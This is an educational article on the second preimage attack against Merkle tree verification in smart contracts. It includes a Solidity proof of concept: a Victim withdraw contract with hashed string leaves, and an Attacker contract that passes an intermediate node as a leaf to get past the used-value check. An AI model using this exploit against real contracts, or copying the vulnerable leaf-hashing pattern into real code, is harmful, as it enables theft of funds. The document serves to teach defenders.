Merkle Tree vulnerability

Merkle Tree Vulnerability refers to potential weaknesses or security risks associated with the use of Merkle trees in data structures, particularly within blockchain and cryptographic systems. Merkle trees are widely used to efficiently verify data integrity by constructing a tree of hashes. However, vulnerabilities can arise if there are flaws in the construction, hashing algorithms, or if there are insufficient safeguards against malicious attacks. Addressing and mitigating Merkle tree vulnerabilities is essential to maintain the reliability and security of data verification processes, especially within the Web3 ecosystem, where Merkle trees are a fundamental component of blockchain technology.

Second Preimage Attack

The simple Merkle Tree verification has a native path of attack that developers should take care of. In essence, it is possible to use the intermediary leaves as values to pass the verification process.

For example, check out the following PoC:

import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";

contract Victim {
    /*
        |   Preimage   	|                            Keccak Leaf                           	|
        |:------------:	|:----------------------------------------------------------------:	|
        |      one     	| 23dc111d7c3ad1df9806ce1e8eb4f55f57dba117339c545e7593d1f6c3b02662 	|
        |      two     	| cac1bb71f0a97c8ac94ca9546b43178a9ad254c7b757ac07433aa6df35cd8089 	|
        |     three    	| 89027a4db8d1d3a0787296eb1553fba0dc506f981f9697f1a66994c458d392b5 	|
        |     four     	| 923481f620daa64206c8ec933566224c317f9deb5e271ddf71b4f1e7de758f67 	|
        |   one + two  	| 07ab28f7d781a0d685b9e31f3df387b5cfc19df7816faf60278cca0ec0df50c7 	|
        | three + four 	| 4b913407350c1d4e35691eaf17bef00d06d05f265fc1f65dddf130c640d06068 	|
        |     root     	| 172bc111e37022c1c5b3c02f947c30a71dcb3b94a98504c7f4ccf22318712928 	|
    */

    bytes32 root = hex"172bc111e37022c1c5b3c02f947c30a71dcb3b94a98504c7f4ccf22318712928";
    mapping(string => bool) public usedValues;

    function withdraw(string memory preimage, bytes32[] memory proof) external returns (bool result) {
        require(!usedValues[preimage], "the preimage is already used");

        bytes32 leaf = keccak256(abi.encodePacked(preimage));
        result = MerkleProof.verify(proof, root, leaf);

        usedValues[preimage] = true;

        // require(result, "proof is not valid");
        // ... withdraw money from the contract
    }
}

contract Attacker {
    event Result(bool, bytes);
    
    function perform(address victim) external returns (bool success, bytes memory retdata) {
        string memory preimage = "one";
        bytes32[] memory proof = new bytes32[](2);
        proof[0] = hex"cac1bb71f0a97c8ac94ca9546b43178a9ad254c7b757ac07433aa6df35cd8089";
        proof[1] = hex"4b913407350c1d4e35691eaf17bef00d06d05f265fc1f65dddf130c640d06068";

        (success, retdata) = victim.call(abi.encodeWithSignature("withdraw(string,bytes32[])", preimage, proof));
        emit Result(success, retdata);

        bytes memory mPreimage =
            hex"23dc111d7c3ad1df9806ce1e8eb4f55f57dba117339c545e7593d1f6c3b02662cac1bb71f0a97c8ac94ca9546b43178a9ad254c7b757ac07433aa6df35cd8089";
        bytes32[] memory mProof = new bytes32[](1);
        mProof[0] = hex"4b913407350c1d4e35691eaf17bef00d06d05f265fc1f65dddf130c640d06068";

        (success, retdata) = victim.call(abi.encodeWithSignature("withdraw(string,bytes32[])", mPreimage, mProof));
        emit Result(success, retdata);
    }
}

The code contains two contracts: Victim and Attacker. The primer has a withdrawal function protected with the standard Merkle Tree verification. For the sake of simplicity, the Merkle Tree contains values from strings "one", "two", "three", and "four". In reality, those will probably have some other meaning. The Merkle Tree has two inner leaves, "one + two" and "three + four", created from the hashes of the strings. After the verification, the preimage used will be marked as used, and the function will revert if you try to use the same value two times.

Now look at the Attacker contract. As you can see, it has only one function to test the attack. The function will call the Victim two times. In the first time, it'll use the usual parameter, "one", or any other. In the second call, it will use malicious parameters: the preimage is equal to the concatenated leaf hashes of "one" and "two", and the proof contains only a "three + four" hash. It allows the Attacker to bypass the verification of the used value several more times in addition to the original four strings.